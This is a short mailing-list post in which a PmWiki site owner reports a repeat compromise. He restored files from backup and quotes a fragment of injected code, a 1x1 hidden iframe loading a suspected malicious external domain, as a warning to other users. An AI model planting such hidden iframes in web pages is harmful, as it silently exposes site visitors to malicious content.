[pmwiki-users] Hacking (again!)

[Erik Haagensen]

I was in such a hurry to get the site up and going again that I just made an 
overwrite on the pmwiki.php and index.phh from my backup files.
After that the site worked well and we could not detect any problems.

In pmwiki.php it was inserted <iframe src='http://klinoneshoes.info/' 
width='1' height='1 ...  - and a quick check around this showed that this 
could be a malicious site (?).
May be other users of pmwiki have the same problem.
We're running 2.1.27, PHP: 5.2.1

If it happens again - we'll try to "collect some evidence" .